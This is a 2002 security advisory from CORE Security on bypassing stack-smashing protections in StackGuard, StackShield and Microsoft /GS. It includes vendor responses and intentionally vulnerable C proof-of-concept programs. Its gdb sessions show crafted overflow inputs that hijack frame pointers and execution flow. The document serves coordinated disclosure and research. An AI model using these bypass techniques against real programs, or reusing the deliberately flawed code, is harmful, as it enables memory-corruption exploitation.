Multiple Vulnerabilities in Stack Smashing Protection Technologies

Advisory ID Internal
CORE-20020409

Advisory Information:

Advisory ID: CORE-20020409
Bugtraq ID: 4586, 4589
CVE Name: Non-assigned yet
Title: Multiple vulnerabilities in stack smashing protection technologies.
Class: Design limitation, Implementation flaw
Remotely Exploitable: Yes
Locally Exploitable: Yes

Vendors Contacted:

2002-04-15

  • Immunix: Yes
  • Microsoft: Yes
  • Stack Smashing Protection (SSP) formerly ProPolice: Yes
  • StackShield: No, all attempts to notify the maintaners via email failed. No other contact information was found (the website has not been updated since January 8th, 2000).

Release Mode: COORDINATED RELEASE

Vulnerability Description:

In the past years, several technologies (in the form of software 
packages) have been developed to protect programs against exploitation
of buffer overflow vulnerabilities. These technologies aim at detecting
and preventing the execution of hostile code that takes advantage of
software security vulnerabilities by overwriting a critical portion
of a running program's memory known as the stack.

The techniques used to exploit this type of vulnerabilities have been
discussed at length in the past years and, although they have been used
for years in malicious code, notably the famous Robert T. Morris worm in
1988 [1], were initially introduced to the security community at large in the
pioneering articles "Smashing the stack for fun and profit" [2] writen by Aleph1
and "How to write buffer overflows" by Mudge.[3]

Technologies to detect and prevent "stack smashing" exploit code were
presented thereafter, notably at the 1998 USENIX Security conference [4].

"Stack shielding" software have been developed on the promise of preventing
exploitation of buffer overflow vulnerabilities that make use of the stack
smashing techniques.

Several other techniques to exploit buffer overflows that DO NOT make use
of stack overwriting or code execution on the stack have be presented
during the past years.

Techniques that exploit vulnerabilities by overwriting or otherwise abusing
other memory portions of a running program are described in Solar Designer's
"Getting around non-executable stack (and fix)" [5], "Advanced return-into-lib(c)
exploits(PaX case study)" [6] and "w00w00 on Heap Overflows" [7].

However, for the purpose of this advisory we will focus on the stack protection
mechanisms and claim the current technologies do not provide adecuate
protection:

Stack shielding protections have been missunderstood, they only protect a
particular type of stack smashing exploitation, namely return address overwrites,
NOT generic stack smashing attacks as they claim.

This has been demostrated in the past, as in "Bypassing StackGuard And
StackShield" [8] and "Vulnerability in ImmuniX OS Security Alert: StackGuard
1.21 Released" [9]

We studied the three most visible "stack shielding" technologies:

-Wirex StackGuard (http://www.immunix.com) and
-StackShield (http://www.angelfire.com/sk/stackshield/download.html)
-Stack Smashing Protection (SSP, formerly ProPolice), from Hiroaki Etoh
(http://www.trl.ibm.com/projects/security/ssp/)

As well as the recently introduced /GS stack protecting mechanism
incorporated into Microsoft's Visual C++ .NET as part of the Visual Studio .NET
product family. Information about the feature and details on how it works are available
at: http://go.microsoft.com/fwlink/?LinkId=7260

We discovered that all of them present basic design limitations as well as
some implementation flaws.

Our conclusion is that although "stack shielding" technologies present a
valuable mean to prevent execution of certain forms of malicious code, those
technologies should not be thought as a solution to the problem of buffer overflow
vulnerabilities in general and not even as a solution to some simple stack smashing
techniques used to exploit those vulnerabilities.

Stack shielding mechanims do not suffice to ameliorate the effects of badly
written software and could give a false sense of security of devastating effects, if not
considered as part of a general security strategy that includes secure design
methodologies, secure programming practices, strict and well defined security testing
processes and the implementation of fixes and patches as well as the use of ad hoc
technologies to prevent exploitation of existing vulnerabilities, publicy known or otherwise.

Vulnerable Packages:

  • StackShield up to, and including, v0.7-beta is vulnerable to #1, #3 and #4
  • StackGuard 1.2 and 2.0.1 (included in Immunix 7.0) is vulnerable to all the described methods.
  • StackGuard 1.21 is not vulnerable to #2. Other StackGuard versions were not tested and are suspected to be vulnerable as well.
  • Programs compiled with Microsoft Visual C++ .NET /GS compiler switch are still exploitable by using techniques described in problem #1. Exploitation using #2, #3 and #4 is only possible if the attacker can guess or bruteforce the correct value of the "cookie", the existence of heuristics for doing that are not in the scope of this advisory.
  • SSP (ProPolice) is NOT vulnerable to any of the described exploitation methods.

Solution/Vendor Information/Workaround:

Wirex's Immunix StackGuard

Wirex offical response is:
The upcoming next release of StackGuard,version 3.0 fixes problems #2, #3
and #4 by moving the terminator canary to a position between the frame
pointer and all local variables.

Problem #1 is not part of StackGuard's threat model, that is StackGuard is
not designed to protect against exploitation before the vulnerable function
exits.

Microsoft Visual Studio .NET /GS
Refer to Microsoft's white paper describing the design and implementation
of the /GS switch: http://go.microsoft.com/fwlink/?LinkId=7260

StackShield
N/A

ProPolice/SSP
SSP is NOT vulnerable to any of the problems described.

Credits:

This vulnerabilities were discovered and researched by Gerardo Richarte
from CORE Security Technologies. Pionering work and ideas were introduced
by Richarte and many others (see the references section) in various information
security mailing lists and publications as far back as 1999.
We wish to thank Crispin Cowan and Seth Arnold from Wirex (Immunix) for
their quick response addressing this report.

Technical Description - Exploit/Concept Code:

As stated previously, we have identified two basic design limitations in
the current stack smashing technologies:

First, they only protect data located in memory "above" the first
safeguarded address.

Second, (and we think this is a more serious limitation) they only check
for attacks after the called vulnerable function finishes, right before
returning from it so exploitation is possible BEFORE exiting the vulnerable
function.

In addition to this, StackGuard and StackShield have an implementation
flaw:

They protect the stack starting at the return address, leaving the saved
frame pointer unprotected.

In our study we found four different tricks to bypass stack smashing
protections, the first one is an extension of that described in the previously refered
articles and is a direct consecuence of design limitations. The other three result from
abusing frame pointer overwrites, and may be corrected introducing some changes
in the protection mechanisms.


1) Control of function's arguments

In [8] and [9] a method to exploit stack based buffer overflows on stack protected
programs is presented. In the example, a local pointer is used to write to arbitrary
memory locations within the program's memory space. This technique can be extended
to exploit the fact that in standard C compiled programs, function arguments are located
in the stack at "higher" addresses than the return address:

lower addresses
[ local variables ]
[ saved frame pointer ]
[ CANARY (0x000dff0a) ]
[ return address ]
[ function's arguments ]
higher addresses


Controlling functions arguments can effectively turn a stack protected function into an
exploitable program by turning the arguments into a "write-anything-anywhere" primitive.
Once the attacker has the ability to "write anything, anywhere" it is trivial to bypass stack
protection mechanisms.

The following program will function as proof of concept code:

gera@vaiolent:~src/sg/tests$ cat >sg1.c <<_EOF_
/* sg1.c *
* specially crafted to feed your brain by [email protected] */

int func(char *msg) {
char buf[80];

strcpy(buf,msg);
// toupper(buf); // here just to give func() "some sense"
strcpy(msg,buf);
}

int main(int argv, char** argc) {
func(argc[1]);
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg1
cc sg1.c -o sg1
gera@vaiolent:~src/sg/tests$ gdb sg1
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "Tests performed on Immunix 7.0, for StackShield remove "Cnry"
(gdb) r
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa_EBPCnry_RETbbbb
(gdb) bt
#0 0x40094154 in strcpy () from /lib/libc.so.6
#1 0x8048469 in func ()
(gdb) x/3i $pc-3
0x40094151 <strcpy+17>: mov (%edx),%al
0x40094153 <strcpy+19>: inc %edx
0x40094154 <strcpy+20>: mov %al,(%ecx,%edx,1)
(gdb) x/s $edx
0xbffff95d: 'a' <repeats 79 times>, "_EBPCnry_RETbbbb"
(gdb) p/x $ecx+$edx
$2 = 0x62626262
(gdb) p "Now we can write anything anywhere"


2) Returning with an altered frame pointer

In standard frame pointer overwrite exploits [10], control over the the frame
pointer is gained after the first return from the vulnerable function. Shortly before
a second return control is gained over the execution flow of the vulnerable program,
since the attacker can now control the stack pointer and therefore the address of where
the function will return to.

Using this technique against stack protected programs does not lead to staight foward
exploitation of vulnerabilities, however design limitations can provide an effective
way to use it.
In this case we will use StackGuard's protection as an example of exploitability.
StackGuard uses a protection mechanism called "terminator canary" that prevents
overwriting the return address. However an attacker can overwrite *up to the terminator
canary without modifying it* and thus gain control over the frame pointer.

The following program serves as a proof of concept code:

gera@vaiolent:~src/sg/tests$ cat >sg2.c <<_EOF_
/* sg2.c *
* specially crafted to feed your brain by [email protected] */

void func(char *msg) {
char buf[80];
strcpy(buf,msg);
}

int main(int argv, char** argc) {
func(argc[1]);
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg2
cc sg2.c -o sg2
gera@vaiolent:~src/sg/tests$ gdb sg2
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '1111\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x80486b1 in main ()
(gdb) x/i $pc
0x80486b1 <main+25>: leave
(gdb) p/x $ebp
$2 = 0x31313131
(gdb) x/20x $sp
...
...
0xbffffc5c: 0x42424242 0x000aff0d ...
(gdb) p "You need to locate 0x42424242 in stack (0x42424242 corresponds to
'BBBB')
(gdb) p "Now run it again changin '1111' for the address you just found"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaa`echo -e '\x5c\xfc\xff\xbf\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
" "`echo -e 'BBBB\x0d\xff'`^J
"

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p "As you can see, we hooked the execution flow"


3) Further control over local variables

Overwriting the least significant byte in the frame pointer with zero (0x00) will move
it at most 255 bytes ahead into stack space. Usually this is exploited by making
the new stack have a new return address, but that would be detected or ignored
on stack shielded programs.

However, what an attacker can do is control the last byte of the caller's
frame pointer, effectively controlling all of its local variables and function's
arguments. As we showed in #1 this can lead to direct bypassing of the stack
protection mechanisms. In this case we expand the technique described
in #1 and realize that an attacker can control all the local variables and
arguments of the *caller function* without modifying any return address or canary.

The following program serves as a proof of concept code:

gera@vaiolent:~src/sg/tests$ cat >sg3.c <<_EOF_
/* sg3.c *
* specially crafted to feed your brain by [email protected] */

char *read_it() {
char buf[256];

buf[read(0,buf,sizeof buf)]=0;
return strdup(buf);
}

int main(int argv, char **argc) {
char *msg = malloc(1000);

snprintf(msg,999,"User: %s",read_it());
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg3
cc sg3.c -o sg3
gera@vaiolent:~src/sg/tests$ ulimit -c 1111111111
gera@vaiolent:~src/sg/tests$ perl -e 'print "A"x256' | ./sg3
Segmentation fault (core dumped)
gera@vaiolent:~src/sg/tests$ gdb sg3 core
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
#0 _IO_vsnprintf (string=0x41414141 <Address 0x41414141 out of bounds>,
maxlen=999, format=0x8048922 "User: %s", args=0xbffffac4)
at vsprintf.c:127
127 vsnprintf.c: No such file or directory.
(gdb) p "If you take a look an vsnprintf() arguments, you'll see we can
write anywhere in memory."

This example is valid for StackGuard and StackShielded programs.
If StackShield is used with the option to terminate execution when an
attack is detected, we only need to set as new return address the original
return address, so it doesn't detect a change.


4) Pointing the caller's frame to the Global Offset Table (GOT)

Finally, this technique is a variation a bit more complex than what was
presented before.
In standard compiled C code, when not using -fomit-frame-pointer compiler
switch in GCC or equivalents in other compilers, all local variables are
accessed relative to the frame pointer, then if an attacker gains full control
over it, she can arbitrarly choose where in memory local variables are placed,
this is the trick used in #3 but a slight variation introduces new posibilities.

By using control over the frame pointer to place local variables and function
arguments on the Global Offest Table memory space (OR MANY OTHER
MEMORY PORTIONS, i.e. heap allocated memory) an attacker can effectively
exploit vulnerable programs bypassing stack protection mechanisms.


The following program serves as a proof of concept code:

gera@vaiolent:~src/sg/tests$ cat >sg6.c <<_EOF_
/* sg6.c *
* specially crafted to feed your brain by [email protected] */

// XXX: Add real encryption here
#define decrypt(dest,src) strcpy(dest,src)

int is_new_user = 0;

int get_username(char *user) {
char temp[80];

decrypt(temp,user);

// XXX: add some real checks in the future
if (strcmp(temp,"gera")) is_new_user = 1;

return strdup(temp);
}

int main(int argv, char **argc) {
char *user_name;

user_name = get_username(argc[1]);
return 0;
}
_EOF_

gera@vaiolent:~src/sg/tests$ make sg6
cc sg6.c -o sg6
gera@vaiolent:~src/sg/tests$ gdb sg6
GNU gdb 19990928
Copyright 1998 Free Software Foundation, Inc.
(gdb) p "To type ^J you need to press Ctrl-V Ctrl-J, you may not see ^J,
it's ok"
(gdb) r
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaBBBB`echo -e '\x0d\xff'`^J
"
Program received signal SIGSEGV, Segmentation fault.
0x8048750 in main ()
(gdb) x/i $pc
0x8048750 <main+28>: mov %eax,-4(%ebp)
(gdb) p/x $ebp
$1 = 0x62626262
(gdb) x/s $eax
0x80499f0: 'a' <repeats 80 times>, "bbbb\rÿ
"
(gdb) p "And now, we are ready to write-anything-anywhere"

The same comments as in 3) regarding StackShield exploitation applies.


Microsoft's /GS protection mechanism is vulnerable to #1 but it is not
straight forward to use any of the other 3 methods of exploitation because
the frame pointer is protected with a random canary (known as "COOKIE" in
Microsoft documentation).
The cookie is generated in the seccinit.c file of the CRT source files and
provided with Visual C++ .NET platform.

StackGuard v1.21 introduced the use of a random XOR canary for protection,
but this option is not present on v2.0.1 (as checked browsing source code).
While the random XOR canary protection would have made some of the
attacks (#3 and #4) not so straight forward, it is still possible to abuse the
design limitations and bypass protection if a brute force approach is taken
covering all possible values for a one byte change of the random canary
value, this gives the attacker a 1/256 chance of bypassing the protection,
more than enough for a sucessfull attack in most cases.

Note that using an XOR canary as in StackGuard 1.21, problem #2 is
prevented.

StackShield up to 0.7beta does not appear to be vulnerable to #2 but it is
vulnerable to the other explotation techniques.

A detailed paper describing the protection mechanisms and all of our
findings will be made available shortly after publication of this advisory
at http://www.corest.com/corelabs/papers

References:

[1] - The Morris Worm -
http://www.wikipedia.com/wiki/Morris+Worm

[2] - Smashing the stack for fun and profit - Aleph1
http://community.corest.com/~juliano/bufo.html
(English - Spanish -Rusian)

[3] - How to write buffer overflows - Mudge.
http://community.corest.com/~juliano/l0pht-howtowrite-bof.html

[4] - Automatic Detection and Prevention of Buffer-Overflow Attacks
Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang,
7th USENIX Security Symposium
http://www.immunix.org/StackGuard/usenixsc98.pdf

[5] - Getting around non-executable stack (and fix) - Solar Designer
http://online.securityfocus.com/archive/1/7480

[6] - The advanced return-into-lib(c) exploits: PaX case study - Nergal

[7] - w00w00 on Heap Overflows - Shock and w00w00

[8] - Bypassing StackGuard And StackShield - Bulba and Kil3r

[9] - Vulnerability in ImmuniX OS Security Alert: StackGuard 1.21 Released -
Gerardo Richarte
http://online.securityfocus.com/archive/1/34225

[10]- The Frame Pointer Overwrite - klog

Disclaimer:

The contents of this advisory are copyright (c) 2001 CORE Security
Technologies and may be distributed freely provided that no fee is charged
for this distribution and proper credit is given.